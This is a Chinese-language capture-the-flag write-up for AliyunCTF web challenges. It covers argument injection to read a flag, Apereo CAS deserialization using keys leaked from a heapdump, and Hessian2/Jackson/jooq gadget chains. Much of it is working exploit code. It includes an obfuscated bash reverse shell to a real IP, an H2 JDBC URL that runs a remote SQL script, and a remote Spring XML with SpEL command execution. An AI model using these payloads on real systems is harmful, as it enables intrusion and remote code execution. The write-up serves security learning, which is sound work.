web签到
比较简答,type处能注,使用 -f
参数读文件
POST /digHandler HTTP/1.1
Host: web0.aliyunctf.com:34022
Content-Length: 40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://web0.aliyunctf.com:47285
Referer: http://web0.aliyunctf.com:47285/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"domain":"localhost","type":"-f\/flag"}
easy CAS
和4.x的反序列化类似,登录的execution参数会解密然后反序列化
execution值经过 org.apereo.cas.web.flow.executor.ClientFlowExecutionKey#parse
—> org.apereo.cas.web.flow.executor.ClientFlowExecutionRepository#getFlowExecution
—> org.apereo.cas.web.flow.executor.EncryptedTranscoder#decode
—> readObject
关键是要知道两个参数 secretKeyEncryption
和 secretKetSigning
才可以伪造恶意反序列化数据
发现有个 /status/mapping
接口,访问下发现给的接口还有 /status/heapdump
接口
先 http://web3.aliyunctf.com:39012/login?service=http://web3.aliyunctf.com:39012/status/dashboard
访问,输入默认的账号密码,然后下载 heapdump ,利用 MAT
:https://www.eclipse.org/mat/downloads.php 查找 secretKeyEncryption
和 secretKetSigning
之后构造序列化payload即可
用无cc的cb链可以打
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apereo.cas.CipherExecutor;
import org.apereo.cas.util.cipher.BaseBinaryCipherExecutor;
import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor;
import org.apereo.cas.web.flow.executor.WebflowCipherBean;
import org.apereo.spring.webflow.plugin.ClientFlowExecutionKey;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Objects;
import java.util.PriorityQueue;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
public class Test {
public static void main(String[] args) throws Exception {
//序列化的数据
byte[] bytes = genGadgetBytes();
String secretKeyEncryption = Base64.getEncoder().encodeToString(new byte[] {-108, -54, -116, 85, -42, 107, 77, -44, 48, -93, -62, 71, 126, 2, 71, -111});
String secretKetSigning = new String(new byte[] {65,106,85,105,69,97,111,106,95,87,83,85,78,104,111,78,117,78,117,109,85,119,89,108,70,54,98,103,68,68,86,51,120,98,88,85,65,52,89,85,90,97,101,49,109,79,51,107,118,66,82,118,77,108,117,114,86,105,114,51,81,90,121,119,82,121,115,85,116,45,122,100,120,110,99,87,120,83,69,95,79,65,95,79,86,65});
CipherExecutor cipherExecutor = new WebflowConversationStateCipherExecutor(secretKeyEncryption, secretKetSigning, "AES", 512, 16, "webflow");
WebflowCipherBean webflowCipherBean = new WebflowCipherBean(cipherExecutor);
byte[] cipherBytes = webflowCipherBean.encrypt(bytes);
// System.out.println(new String(cipherBytes));
System.out.println(Base64.getEncoder().encodeToString(cipherBytes));
}
public static byte[] makeByteCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(MyTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzExMS4yMjkuODguMTQ1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("NormalClass");
return ctClass.toBytecode();
}
public static byte[] genGadgetBytes() throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{makeByteCode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(baos);
gzipOutputStream.write(byteArrayOutputStream.toByteArray());
gzipOutputStream.flush();
gzipOutputStream.close();
return baos.toByteArray();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
然后看了其他队伍的wp发现还有更简单的做法,由于这是4年前的项目,又用了 log4j,还开启了debug,所以直接用log4j就能打,用户名这里会进行日志记录,在用户名这打log4j就行。
chain17 (复现)
这题只和队友一起做到 agent 那里,后面没时间打 server了
agent
agent给了个Hessian2反序列化的接口和一个原生反序列化的Bean
类,但这个原生的反序列化黑名单 ban 的很死,很难绕过
hessian2反序列化时如果对象实现了 Map
接口,那么会调用其 put
方法添加数据(题目给的hessian版本比较新,只能反序列化实现了 Serializable
接口的对象)
hutool的 JSONObject
类的 put
或 set
方法可以触发对象的 getter
方法
后续 set
–> JSONUtil.wrap
–> new JSONObject()
–> getter
一开始想的是直接用hessian2的反序列化触发 cn.hutool.json.JSONObject
的 put
方法,然后调用任意 getter
方法,但限制太大 ,
hutool 调getter必须要满足目标对象存在 getter
所对应的属性才行,如 Bean
中的 getObject
方法要想调用,那么其必须要有名为 object
的属性才可以
所以想用 cn.hutool.json.JSONObject
直接触发 getter
的想法破灭了
由于Hessian2反序列化在jdk17下是受module机制影响的,所以利用 XString
触发 POJONode
的 toString
方法也是不行了
后面题目放了提示
Hint: JSONObject -> AtomicReference
虽然 Hessian 的反序列化受module的影响,但是原生的反序列化并不受module 的影响,所以hessian后面就要用到Bean的原生反序列化了
然后根据提示配合 POJONode
找到了调用任意 getter
的链子
调用栈如下
nodeToString:34, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:239, BaseJsonNode (com.fasterxml.jackson.databind.node)
valueOf:4220, String (java.lang)
toString:276, AtomicReference (java.util.concurrent.atomic)
wrap:801, JSONUtil (cn.hutool.json)
set:393, JSONObject (cn.hutool.json)
set:352, JSONObject (cn.hutool.json)
put:340, JSONObject (cn.hutool.json)
put:32, JSONObject (cn.hutool.json)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
cn.hutool.json.JSONUtil#wrap
方法在处理 jdk 内部时会调用其 toString
方法,而 java.util.concurrent.atomic.AtomicReference
的 toString
方法又会调用其内部 value
字段的 toString
方法,这样一来就可以触发 POJONode
的 toString
了
然后还有一个点就是 jackson 的链子中 getter
方法的触发是会接着其返回值连续触发的
Bean中的 getObject
方法有返回值,且返回的是一个对象
所以就可以利用 Hessian2 和Bean中的原生反序列化打一个组合拳,绕过黑名单限制来触发相关的 getter
方法
后面就找一个可以利用 getter
来打的类就行,对于 getter
相关的 gadget,比较常见的就是利用 jdbc
来打了,除去黑名单中的类,可以找到 cn.hutool.db.ds.DSFactory
这个类
其 getDataSource
方法可以打一个jdbc,然后又有 h2 的依赖,所以可以打 jdbc h2 的链子来rce
exp
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.LinkedHashMap;
import java.util.concurrent.atomic.AtomicReference;
public class Test {
public static void main(String[] args) throws Exception {
Bean bean = new Bean();
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
Setting setting = new Setting();
setting.setCharset(null);
setting.set("initialSize", "1");
setting.set("url", "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'");
setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>());
setFieldValue(pooledDSFactory, "setting", setting);
bean.setData(getObjectBytes(pooledDSFactory));
POJONode node = new POJONode(bean);
AtomicReference<POJONode> atomicReference = new AtomicReference<>();
atomicReference.set(node);
JSONObject json = new JSONObject();
LinkedHashMap map = new LinkedHashMap();
map.put("1", atomicReference);
setFieldValue(json, "raw", map);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(json);
hessian2Output.flush();
hessian2Output.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object object = hessian2Input.readObject();
System.out.println(object);
}
public static byte[] getObjectBytes(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
{
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
return;
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
}
}
远程恶意sql文件
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "ok";}';CALL EXEC ('calc')
这样就在目标主机上执行了任意命令
server
然后就是在agent上打server的原生反序列化了
server上只有一个 jooq 的依赖,但又jackson的依赖,所以还是可以打 jackson 的原生反序列化,但由于是jdk17,所以得在 jooq 中找个可利用的 getter
才行
使用如下原生反序列化链触发 SpEL 表达式执行:
EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>
exp
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;
// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class PocServer {
public static void main(String[] args) throws Exception {
gen("http://localhost:8000/poc.xml");
}
public static void gen(String url) throws Exception{
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();
Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);
Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);
Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);
Object value = url;
Class type = ClassPathXmlApplicationContext.class;
ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode pojoNode = new POJONode(convertedVal);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
byte[] data = SerializeUtil.serialize(eventListenerList);
System.out.println(Base64.getEncoder().encodeToString(data));
}
}
在攻击者 VPS 准备如下.xml,里面的 exec 部分用来执行指令,可以使用反弹 shell 读取 flag。
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('touch /tmp/pwnned')}"/>
</bean>
</beans>
server这个链子确实自己挖不出来,还是得靠 tabby 才行呀
Pastbin
没做,参考官方wp https://xz.aliyun.com/t/14190#toc-6